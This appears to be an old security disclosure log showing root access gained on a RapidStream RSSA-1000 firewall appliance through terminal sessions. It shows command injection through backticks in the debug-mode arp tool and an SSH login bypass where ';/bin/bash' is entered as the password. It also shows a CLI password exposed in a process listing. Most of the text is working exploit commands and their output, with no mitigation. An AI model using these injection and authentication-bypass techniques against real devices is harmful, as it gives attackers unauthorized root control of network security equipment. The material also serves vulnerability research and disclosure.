Fun playing with RapidStream Firewall apliances

crunch:~# dip -t
DIP: Dialup IP Protocol Driver version 3.3.7p-uri (25 Dec 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
Debian version 3.3.7p-4 (debian).

DIP> port ttyS1
DIP> speed 9600
DIP> parity 1
DIP> term
[ Entering TERMINAL mode.  Use CTRL-] to get back ]

RapidStream RSSA-1000 (OS 3.0.1)
name login: rsadmin
Password:

        Welcome to RapidStream CLI Shell

RS#?
    administration       Enter administration mode
    configure            Enter configuration mode
    debug                Enter debug mode
    show                 Show current configuration and statistics
    history              Show command history
    logout               Exit the system
    exit                 Exit the system
RS#con
RS(config)#sh in
Private interface:
                ip= 192.168.1.1
                net mask= 255.255.255.0
                status= DOWN
                mac address= 00:01:21:10:04:f2
Public interface:
                ip= 10.10.10.1
                net mask= 255.255.255.0
                status= DOWN
                mac address= 00:01:21:10:04:f3
RS(config)#
RS(config)#ex
RS#de
Entering debug mode; complete command word required.
 --h option for syntax help
RS(debug)#?
    arp                  System Debug Tool
    bash                 System Debug Tool
    clear_logs           System Debug Tool
    ping                 System Debug Tool
    radius_ping          System Debug Tool
    reboot               System Debug Tool
    tcpdump              System Debug Tool
    traceroute           System Debug Tool
    show                 Show current configuration and statistics
    history              Show command history
    exit                 Go back to parent level
    top                  Go back to root level
RS(debug)#arp -f `foo`
sh: foo: command not found
arp: cannot open etherfile (null) !
RS(debug)#arp -f `cp $SHELL .`
arp: cannot open etherfile (null) !
RS(debug)#bash
bash# uname -a ; id
Linux name 2.2.5-15 #204 Tue Apr 10 15:15:47 PDT 2001 i486 unknown
uid=0(root) gid=0(root)
bash# ls -la /
total 28
drwxr-xr-x  13 root     root         1024 Aug  8 15:23 .
drwxr-xr-x  13 root     root         1024 Aug  8 15:23 ..
-rw-------   1 root     root           84 Aug  8 15:23 .bash_history
drwxr-xr-x   2 root     root         1024 Oct 21  2000 bin
drwxr-xr-x   2 root     root         2048 Aug  8 15:20 dev
drwxr-xr-x  16 root     root         2048 Aug  8 15:23 etc
drwxr-xr-x   4 root     root         3072 Oct 21  2000 lib
drwxr-xr-x   2 root     root        12288 Apr 16  2001 lost+found
drwxr-xr-x   5 root     root         1024 Aug  8 08:19 mnt
dr-xr-xr-x  47 root     root            0 Aug  8 08:19 proc
drwxr-xr-x   2 root     root         1024 Aug  8 15:20 root
drwxr-xr-x   3 root     root         1024 Oct 21  2000 sbin
lrwxrwxrwx   1 root     root            7 Apr 16  2001 tmp -> var/tmp
drwxr-xr-x   8 root     root         1024 Aug  8 15:19 usr
drwxr-xr-x  13 root     root         1024 Aug  8 15:24 var
(...)
bash# ps auwx
(...)
root     20377  1.1  1.0  1484  648 /var/sys/dev/ttyS0 S 18:39   0:00 sh /bin/cli -p mypass
root     20391  2.7  1.8  2884 1144 /var/sys/dev/ttyS0 S 18:39   0:00 /bin/.cli -p mypass
root     20393  0.0  1.8  2884 1152 /var/sys/dev/ttyS0 S 18:39   0:00 /bin/.cli -p mypass
(...)
bash# cat /bin/cli
#!/bin/sh

stty sane
stty erase "^H" kill "^U"

/bin/.cli $*
bash#
(..)
------------------------------------------------------------------
spike:~# ssh rsadmin@192.168.100.1
rsadmin@192.168.100.1's password:<fubar>

        Welcome to RapidStream CLI Shell

!!!WARN: The current configuration database has been
changed since last saving to the permanent storage!
Login incorrect
Connection to 192.168.100.1 closed.
spike:~# ssh rsadmin@192.168.100.1
rsadmin@192.168.100.1's password:<;/bin/bash>
bash# ls -la /usr/rapidstream
total 16
drwxr-xr-x  13 1021     500          1024 Apr 13  2001 .
drwxr-xr-x   8 root     root         1024 Jan 10  2002 ..
-rw-r--r--   1 root     root           21 Jan 10  2002 PATCH
-rw-r--r--   1 root     root            6 Jan 10  2002 VERSION
drwxr-xr-x   3 1021     500          1024 Jan 10  2002 bin
drwxr-xr-x   3 1021     500          1024 Oct 30  2001 cert_factory
drwxr-xr-x   4 1021     500          1024 Oct 30  2001 cmm_factory
lrwxrwxrwx   1 root     root           10 Apr 13  2001 db -> /var/rs_db
drwxr-xr-x   2 1021     500          1024 Jan 10  2002 debug
drwxr-xr-x   2 1021     500          2048 Jan 10  2002 etc
drwxr-xr-x   2 1021     500          1024 Jan 10  2002 firmware
drwxr-xr-x   8 1021     500          1024 Oct 30  2001 https
drwxr-xr-x   2 1021     500          1024 Jan 10  2002 kernel
drwxr-xr-x   2 1021     500          1024 Oct 30  2001 lib
drwxr-xr-x   2 1021     500          1024 Oct 30  2001 mibs
drwxr-xr-x   2 1021     500          1024 Jan 10  2002 utils
bash#

------------------------------------------------------------------